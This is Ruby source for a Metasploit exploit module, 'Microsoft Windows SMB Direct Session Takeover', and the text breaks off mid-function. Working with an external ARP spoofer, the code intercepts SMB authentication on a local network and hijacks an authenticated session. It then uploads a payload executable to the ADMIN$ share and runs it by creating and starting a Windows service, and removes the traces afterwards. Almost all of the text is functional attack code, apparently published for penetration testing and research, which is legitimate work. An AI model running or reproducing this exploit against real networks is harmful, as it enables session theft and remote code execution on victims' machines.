# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::Capture
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows SMB Direct Session Takeover',
'Description' => %q{
This module will intercept direct SMB authentication requests
to
another host, gaining access to an authenticated SMB session if
successful. If the connecting user is an administrator and
network
logins are allowed to the target machine, this module will execute
an
arbitrary payload. To exploit this, the target system must try
to
autheticate to another host on the local area network.
SMB Direct Session takeover is a combination of previous attacks.
This module is dependent on an external ARP spoofer. The builtin
ARP
spoofer was not providing sufficient host discovery. Bettercap
v1.6.2
was used during the development of this module.
The original SMB relay attack was first reported by Sir Dystic
on March
31st, 2001 at @lanta.con in Atlanta, Georgia.
},
'Author' => [
'usiegl00'
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Payload' => {},
'References' => [
['URL',
'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack']
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Targets' => [
['Automatic', {}]
],
'DisclosureDate' => '2021-02-16',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ SERVICE_RESOURCE_LOSS ],
'Reliability' => [ UNRELIABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
register_options(
[
OptString.new('SHARE', [true, 'The share to connect to',
'ADMIN$']),
OptString.new('INTERFACE', [true, 'The name of the
interface']),
OptString.new('DefangedMode', [true, 'Run in defanged mode',
true]),
OptString.new('DisableFwd', [true, 'Disable packet forwarding on
port 445', true])
# For future cross LAN work:
# OptString.new('GATEWAY', [ true, "The network gateway ip address"
])
]
)
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST',
'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',
'TIMEOUT')
end
def exploit
if datastore['DefangedMode'].to_s == 'true'
warning = <<~EOF
Are you SURE you want to modify your port forwarding tables?
You MAY contaminate your current network configuration.
Disable the DefangedMode option if you wish to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
print_good('INFO : Warming up...')
print_error('WARNING : Not running as Root. This can cause socket
permission issues.') unless Process.uid == 0
@sessions = {}
@mutex = Mutex.new
@cleanup_mutex = Mutex.new
@cleanedup = false
@main_threads = []
@interface = datastore['INTERFACE'] # || Pcap.lookupdev
unless Socket.getifaddrs.map(&:name).include? @interface
fail_with(Failure::BadConfig,
"Interface not found: #{@interface}")
end
@ip4 = ipv4_addresses[@interface]&.first
fail_with(Failure::BadConfig, "Interface does not have address:
#{@interface}") unless @ip4&.count('.') == 3
@mac = get_mac(@interface)
fail_with(Failure::BadConfig, "Interface does not have mac:
#{@interface}") unless @mac && @mac.instance_of?(String)
# For future cross LAN work: (Gateway is required.)
# @gateip4 = datastore['GATEWAY']
# fail_with(Failure::BadConfig, "Invalid Gateway ip address:
#{@gateip4}") unless @gateip4&.count(".") == 3
# @gatemac = arp(tpa: @gateip4)
# fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac
address: #{@gateip4}") unless @gatemac && @gatemac.class ==
String
@share = datastore['SHARE']
print_status("Self: #{@ip4} | #{@mac}")
# print_status("Gateway: #{@gateip4} | #{@gatemac}")
disable_p445_fwrd
start_syn_capture
start_ack_capture
print_status('INFO : This module must be run alongside an arp
spoofer / poisoner.')
print_status('INFO : The arp spoofer used during the testing of
this module is bettercap v1.6.2.')
main_capture
ensure
cleanup
end
# This prevents the TCP SYN on port 445 from passing through the
filter.
# This allows us to have the time to modify the packets before
forwarding them.
def disable_p445_fwrd
if datastore['DisableFwd'] == 'false'
print_status('DisableFwd was set to false.')
print_status('Packet forwarding on port 445 will not be
disabled.')
return true
end
if RUBY_PLATFORM.include?('darwin')
pfctl = Rex::FileUtils.find_full_path('pfctl')
unless pfctl
fail_with(Failure::NotFound, 'The pfctl executable could not be
found.')
end
IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err:
'/dev/null') do |pf|
pf.write("block out on #{@interface} proto tcp from any to any port
445\n")
pf.close_write
end
IO.popen("#{pfctl} -e", err: '/dev/null').close
elsif RUBY_PLATFORM.include?('linux')
iptables = Rex::FileUtils.find_full_path('iptables')
unless iptables
fail_with(Failure::NotFound, 'The iptables executable could not be
found.')
end
IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp
--destination-port 445 -j DROP", err: '/dev/null').close
else
print_error("WARNING : Platform not supported:
#{RUBY_PLATFORM}")
print_error('WARNING : Packet forwarding on port 445 must be
blocked manually.')
fail_with(Failure::BadConfig, 'Set DisableFwd to false after
blocking port 445 manually.')
end
print_good('INFO : Packet forwarding on port 445 disabled.')
return true
end
# This reverts the changes made in disable_p445_fwrd
def reset_p445_fwrd
if datastore['DisableFwd'] == 'false'
print_status('DisableFwd was set to false.')
print_status('Packet forwarding on port 445 will not be
reset.')
return true
end
if RUBY_PLATFORM.include?('darwin')
pfctl = Rex::FileUtils.find_full_path('pfctl')
unless pfctl
fail_with(Failure::NotFound, 'The pfctl executable could not be
found.')
end
IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err:
'/dev/null').close
elsif RUBY_PLATFORM.include?('linux')
iptables = Rex::FileUtils.find_full_path('iptables')
unless iptables
fail_with(Failure::NotFound, 'The iptables executable could not be
found.')
end
IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp
--destination-port 445 -j DROP", err: '/dev/null').close
end
print_good('INFO : Packet forwarding on port 445 reset.')
return true
end
# This starts the SYN capture thread as part of step two.
def start_syn_capture
@syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread',
false) do
c = PacketFu::Capture.new(iface: @interface, promisc: true)
c.capture
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and
dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] &
(tcp-ack) == 0")
c.stream.each_data do |data|
packet = PacketFu::Packet.parse(data)
exists = @mutex.synchronize do
@sessions[packet.tcp_header.tcp_src] # Prevent erasing existing
sessions.
end
next if exists
dstmac = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst)))
# Time for the arp address to be spoofed again.
sleep(1.5)
@mutex.synchronize do
@sessions[packet.tcp_header.tcp_src] = {}
@sessions[packet.tcp_header.tcp_src][:acknum] =
packet.tcp_header.tcp_ack
@sessions[packet.tcp_header.tcp_src][:seqnum] =
packet.tcp_header.tcp_seq
@sessions[packet.tcp_header.tcp_src][:active] = true
@sessions[packet.tcp_header.tcp_src][:dstmac] = dstmac
packet.eth_header.eth_src = str2mac(@mac)
packet.eth_header.eth_dst =
str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
packet.to_w(@interface)
end
end
end
end
# This starts the ACK capture thread as part of step two.
def start_ack_capture
@ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread',
false) do
c = PacketFu::Capture.new(iface: @interface, promisc: true)
c.capture
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and
dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] &
(tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] !=
0xfe534d42")
c.stream.each_data do |data|
packet = PacketFu::Packet.parse(data)
@mutex.synchronize do
next unless @sessions[packet.tcp_header.tcp_src] &&
@sessions[packet.tcp_header.tcp_src][:active]
@sessions[packet.tcp_header.tcp_src][:acknum] +=
packet.tcp_header.tcp_ack -
@sessions[packet.tcp_header.tcp_src][:acknum]
@sessions[packet.tcp_header.tcp_src][:seqnum] +=
packet.tcp_header.tcp_seq -
@sessions[packet.tcp_header.tcp_src][:seqnum]
packet.tcp_header.tcp_ack =
@sessions[packet.tcp_header.tcp_src][:acknum]
packet.tcp_header.tcp_seq =
@sessions[packet.tcp_header.tcp_src][:seqnum]
packet.eth_header.eth_src = str2mac(@mac)
packet.eth_header.eth_dst =
str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
packet.to_w(@interface)
end
end
end
end
# This sends an arp packet out to the network and captures the
response.
# This allows us to resolve mac addresses in real time.
# We need the mac address of the server and client.
def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',
sha: @mac, spa: @ip4,
tha: '00:00:00:00:00:00', tpa: '', op: 1,
capture: true)
p = PacketFu::ARPPacket.new(
eth_src: str2mac(smac),
eth_dst: str2mac(dmac),
arp_src_mac: str2mac(sha),
arp_src_ip: str2ip(spa),
arp_dst_mac: str2mac(tha),
arp_dst_ip: str2ip(tpa),
arp_opcode: op
)
if capture
c = PacketFu::Capture.new(iface: @interface)
c.capture
c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")
p.to_w(@interface)
sleep 0.1
c.save
c.array.each do |pkt|
pkt = PacketFu::Packet.parse pkt
# This decodes the arp packet and returns the query response.
if pkt.arp_header.arp_src_ip == str2ip(tpa)
return mac2str(pkt.arp_header.arp_src_mac)
end
return ip2str(pkt.arp_header.arp_src_ip) if
mac2str(pkt.arp_header.src_mac) == tha
end
else
p.to_w(@interface)
end
end
# This returns a hash of local interfaces and their ip
addresses.
def ipv4_addresses
results = {}
Socket.getifaddrs.each do |iface|
if iface.addr.ipv4?
results[iface.name] = [] unless results[iface.name]
results[iface.name] << iface.addr.ip_address
end
end
results
end
# This is the main capture thread that handles all SMB packets
routed through this module.
def main_capture
# This makes sense in the context of the paper.
# Please read:
https://strontium.io/blog/introducing-windows-10-smb-shadow-attack
mc = PacketFu::Capture.new(iface: @interface, promisc: true)
mc.capture
mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac}
and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and
tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) +
4 : 4] = 0xfe534d42")
mc.stream.each_data do |data|
packet = PacketFu::Packet.parse(data)
nss = packet.payload[0..3]
smb2 = packet.payload[4..-1]
# Only Parse Packets from known sessions
@mutex.synchronize do
if @sessions[packet.tcp_header.tcp_src] &&
@sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] !=
"\xFFSMB")
case smb2[11..12]
when "\x00\x00" # Negotiate Protocol Request
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
# Dialect Count Set To 1
smb_packet.dialect_count = 1
smb_packet.dialects = [smb_packet.dialects.first]
smb_packet.negotiate_context_list = []
smb_packet.client_start_time = 0
# Re-Calculate Length: (Optional...)
# nss = [smb_packet.to_binary_s.size].pack("N")
packet.payload = "#{nss}#{smb_packet.to_binary_s}"
when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
smb_packet =
RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
if smb_packet.smb2_header.session_id != 0
# Disable Session
@sessions[packet.tcp_header.tcp_src][:active] = false
@sessions[packet.tcp_header.tcp_src][:acknum] +=
packet.tcp_header.tcp_ack -
@sessions[packet.tcp_header.tcp_src][:acknum]
@sessions[packet.tcp_header.tcp_src][:seqnum] +=
packet.tcp_header.tcp_seq -
@sessions[packet.tcp_header.tcp_src][:seqnum]
# Start Main Thread
@main_threads <<
Rex::ThreadFactory.spawn("MainThread#{@sessions.find_index do |k,
_|
k == packet.tcp_header.tcp_src
end }", false) do
main_thread(packet)
end
end
end
end
next unless @sessions[packet.tcp_header.tcp_src] &&
@sessions[packet.tcp_header.tcp_src][:active]
@sessions[packet.tcp_header.tcp_src][:acknum] +=
packet.tcp_header.tcp_ack -
@sessions[packet.tcp_header.tcp_src][:acknum]
@sessions[packet.tcp_header.tcp_src][:seqnum] +=
packet.tcp_header.tcp_seq -
@sessions[packet.tcp_header.tcp_src][:seqnum]
packet.tcp_header.tcp_ack =
@sessions[packet.tcp_header.tcp_src][:acknum]
packet.tcp_header.tcp_seq =
@sessions[packet.tcp_header.tcp_src][:seqnum]
packet.eth_header.eth_src = str2mac(@mac)
packet.eth_header.eth_dst =
str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
packet.recalc
packet.to_w(@interface)
end
end
end
# This handles a session that has already authenticated to the
server.
# This allows us to offload the session from the main capture
thead.
def main_thread(packet)
tree_id = 0 # Setup Vars
process_id = 0
eth_src = str2mac(@mac)
eth_dst = @mutex.synchronize {
str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) }
packet.tcp_header.tcp_ack = @mutex.synchronize {
@sessions[packet.tcp_header.tcp_src][:acknum] }
packet.tcp_header.tcp_seq = @mutex.synchronize {
@sessions[packet.tcp_header.tcp_src][:seqnum] }
packet.eth_header.eth_src = eth_src
packet.eth_header.eth_dst = eth_dst
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..-1])
print_status('Connecting to the defined share...')
request = RubySMB::SMB2::Packet::TreeConnectRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.path =
"\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"
eth_header = PacketFu::EthHeader.new(eth_src: eth_src, eth_dst:
eth_dst)
ip_header = PacketFu::IPHeader.new(ip_src:
int2ip(response.ip_header.ip_dst), ip_dst:
int2ip(response.ip_header.ip_src))
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])
if response_smb2.smb2_header.nt_status != 0
print_error("Unexpected tree connect response
#{e.status_code.value.inspect}
(#{::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
|| 'unknown'})")
return false
end
print_status('Regenerating the payload...')
code = regenerate_payload
tree_id = response_smb2.smb2_header.tree_id
process_id = response_smb2.smb2_header.process_id
print_status('Uploading payload...')
filename = rand_text_alpha(8) + '.exe'
servicename = rand_text_alpha(8)
request = RubySMB::SMB2::Packet::CreateRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_attributes.directory = 0
request.file_attributes.normal = 1
request.create_options.directory_file = 0
request.create_options.non_directory_file = 1
request.share_access.read_access = 1
request.share_access.write_access = 1
request.desired_access.read_data = 1
request.desired_access.write_data = 1
request.desired_access.write_ea = 1
request.desired_access.read_attr = 1
request.desired_access.write_attr = 1
request.requested_oplock = 255
request.impersonation_level =
RubySMB::ImpersonationLevels::SEC_IMPERSONATE
request.create_disposition =
RubySMB::Dispositions::FILE_SUPERSEDE
request.name = filename.to_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])
file_id = response_smb2.file_id
opts = { servicename: servicename, code: code.encoded }
opts.merge!({ arch: ARCH_X64 }) if
datastore['PAYLOAD'].include?(ARCH_X64)
exe = generate_payload_exe_service(opts)
exe.bytes.each_slice(1000).to_a.each_with_index do |exe_fragment,
exe_fragment_index|
request = RubySMB::SMB2::Packet::WriteRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.write_offset = 1000 * exe_fragment_index
request.buffer = exe_fragment.pack('C*')
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])
end
print_status("Created \\#{filename}...")
request = RubySMB::SMB2::Packet::CloseRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..-1])
request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])
print_status('Connecting to the Service Control Manager...')
request = RubySMB::SMB2::Packet::TreeConnectRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.path =
"\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\IPC$"
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])
tree_id = response_smb2.smb2_header.tree_id
request = RubySMB::SMB2::Packet::CreateRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_attributes.directory = 0
request.file_attributes.normal = 1
request.create_options.directory_file = 0
request.create_options.non_directory_file = 1
request.share_access.read_access = 1
request.desired_access.read_data = 1
request.share_access.write_access = 1
request.desired_access.write_data = 1
request.requested_oplock = 255
request.impersonation_level =
RubySMB::ImpersonationLevels::SEC_IMPERSONATE
request.create_disposition = RubySMB::Dispositions::FILE_OPEN
request.name = 'svcctl'
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])
file_id = response_smb2.file_id
bind_req = RubySMB::Dcerpc::Bind.new(endpoint:
RubySMB::Dcerpc::Svcctl)
request = RubySMB::SMB2::Packet::WriteRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.write_offset = 0
request.buffer = bind_req.to_binary_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])
request = RubySMB::SMB2::Packet::ReadRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.read_length = 1024
request.offset = 0
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..-1])
open_scmw_request =
RubySMB::Dcerpc::Svcctl::OpenSCManagerWRequest.new(dw_desired_access:
0x10 | 0x20 | 0x02 | 0x01 | 0x04 | 0x08 | 0x04)
open_scmw_request.lp_machine_name =
ip2str(int2ip(response.ip_header.ip_src))
open_scmw_request.lp_database_name = 'ServicesActive'
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum:
open_scmw_request.opnum }, { endpoint: 'Svcctl' })
dcerpc_request.stub.read(open_scmw_request.to_binary_s)
request = RubySMB::SMB2::Packet::IoctlRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.ctl_code = 0x0011C017
request.flags.is_fsctl = 0x00000001
request.buffer = dcerpc_request.to_binary_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
dcerpc_response =
RubySMB::Dcerpc::Response.read(response_smb2.output_data)
open_scmw_response =
RubySMB::Dcerpc::Svcctl::OpenSCManagerWResponse.read(dcerpc_response.stub.to_s)
servicename = rand_text_alpha(8)
displayname = rand_text_alpha(rand(1..32))
print_status('Creating a new service...')
# RubySMB does not support CreateService.
stubdata =
open_scmw_response.lp_sc_handle.to_binary_s +
Rex::Encoder::NDR.wstring(servicename) +
Rex::Encoder::NDR.uwstring(displayname) +
Rex::Encoder::NDR.long(0x0F01FF) + # Access: MAX
Rex::Encoder::NDR.long(0x00000110) + # Type: Interactive, Own
process
Rex::Encoder::NDR.long(0x00000003) + # Start: Demand
Rex::Encoder::NDR.long(0x00000000) + # Errors: Ignore
Rex::Encoder::NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary
Path
Rex::Encoder::NDR.long(0) + # LoadOrderGroup
Rex::Encoder::NDR.long(0) + # Dependencies
Rex::Encoder::NDR.long(0) + # Service Start
Rex::Encoder::NDR.long(0) * 4 # Password
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 12 }, {
endpoint: 'Svcctl' })
dcerpc_request.stub = stubdata
request = RubySMB::SMB2::Packet::IoctlRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.ctl_code = 0x0011C017
request.flags.is_fsctl = 0x00000001
request.buffer = dcerpc_request.to_binary_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
if response_smb2.smb2_header.nt_status == 0x103
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
end
print_status('Closing service handle...')
dcerpc_response =
RubySMB::Dcerpc::Response.read(response_smb2.output_data)
csh_request =
RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object:
dcerpc_response.stub[4, 24])
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum:
csh_request.opnum }, { endpoint: 'Svcctl' })
dcerpc_request.stub.read(csh_request.to_binary_s)
request = RubySMB::SMB2::Packet::IoctlRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.ctl_code = 0x0011C017
request.flags.is_fsctl = 0x00000001
request.buffer = dcerpc_request.to_binary_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
open_sw_request =
RubySMB::Dcerpc::Svcctl::OpenServiceWRequest.new(dw_desired_access:
0x00F01FF)
open_sw_request.lp_sc_handle = open_scmw_response.lp_sc_handle
open_sw_request.lp_service_name = servicename
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum:
open_sw_request.opnum }, { endpoint: 'Svcctl' })
dcerpc_request.stub.read(open_sw_request.to_binary_s)
request = RubySMB::SMB2::Packet::IoctlRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.ctl_code = 0x0011C017
request.flags.is_fsctl = 0x00000001
request.buffer = dcerpc_request.to_binary_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
dcerpc_response =
RubySMB::Dcerpc::Response.read(response_smb2.output_data)
open_sw_response =
RubySMB::Dcerpc::Svcctl::OpenServiceWResponse.read(dcerpc_response.stub.to_s)
print_status('Starting the service...')
ss_request =
RubySMB::Dcerpc::Svcctl::StartServiceWRequest.new(h_service:
open_sw_response.lp_sc_handle)
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum:
ss_request.opnum }, { endpoint: 'Svcctl' })
dcerpc_request.stub.read(ss_request.to_binary_s)
request = RubySMB::SMB2::Packet::IoctlRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.ctl_code = 0x0011C017
request.flags.is_fsctl = 0x00000001
request.buffer = dcerpc_request.to_binary_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
if response_smb2.smb2_header.nt_status == 0x103
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
end
print_status('Removing the service...')
# RubySMB does not support DeleteService
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 2 }, {
endpoint: 'Svcctl' })
dcerpc_request.stub = open_sw_response.lp_sc_handle.to_binary_s
request = RubySMB::SMB2::Packet::IoctlRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.ctl_code = 0x0011C017
request.flags.is_fsctl = 0x00000001
request.buffer = dcerpc_request.to_binary_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
print_status('Closing service handle...')
csh_request =
RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object:
open_sw_response.lp_sc_handle)
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum:
csh_request.opnum }, { endpoint: 'Svcctl' })
dcerpc_request.stub.read(csh_request.to_binary_s)
request = RubySMB::SMB2::Packet::IoctlRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_id = file_id
request.ctl_code = 0x0011C017
request.flags.is_fsctl = 0x00000001
request.buffer = dcerpc_request.to_binary_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])
print_status("Deleting \\#{filename}...")
request = RubySMB::SMB2::Packet::TreeConnectRequest.new
request.smb2_header.process_id = process_id
request.smb2_header.credit_charge = 1
request.smb2_header.credits = 256
request.smb2_header.message_id =
response_smb2.smb2_header.message_id + 1
request.smb2_header.session_id =
response_smb2.smb2_header.session_id
request.path =
"\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])
tree_id = response_smb2.smb2_header.tree_id
request = RubySMB::SMB2::Packet::CreateRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_attributes.directory = 0
request.file_attributes.normal = 1
request.create_options.directory_file = 0
request.create_options.non_directory_file = 1
request.share_access.delete_access = 1
request.desired_access.delete_access = 1
request.requested_oplock = 255
request.impersonation_level =
RubySMB::ImpersonationLevels::SEC_IMPERSONATE
request.create_disposition = RubySMB::Dispositions::FILE_OPEN
request.name = filename.to_s
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
response_smb2 =
RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])
request = RubySMB::SMB2::Packet::SetInfoRequest.new
set_request_smb2_header_flags(request, tree_id, process_id,
response_smb2)
request.file_info_class =
RubySMB::Fscc::FileInformation::FILE_DISPOSITION_INFORMATION
request.buffer.delete_pending = 1
request.file_id = response_smb2.file_id
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header,
tcp: make_tcp_header(response))
packet.payload =
"#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
response = get_response(packet)
return true # Done.
end
# This sends a packet and captures the response.
def get_response(packet)
packet.recalc
rc = PacketFu::Capture.new(iface: @interface, promisc: true)
rc.capture
rc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac}
and src port 445 and tcp[tcpflags] & (tcp-syn) == 0 and
tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) +
4 : 4] = 0xfe534d42 and tcp[4:4] =
#{packet.tcp_header.tcp_ack}")
packet.to_w(@interface)
rc.stream.each_data do |data|
packet = PacketFu::Packet.parse(data)
if packet.instance_of?(PacketFu::TCPPacket)
break packet
end
end
end
# This generates the TCP header for a new packet based on the
previous one.
def make_tcp_header(response)
PacketFu::TCPHeader.new(
tcp_src: response.tcp_header.tcp_dst,
tcp_dst: response.tcp_header.tcp_src,
tcp_seq: response.tcp_header.tcp_ack,
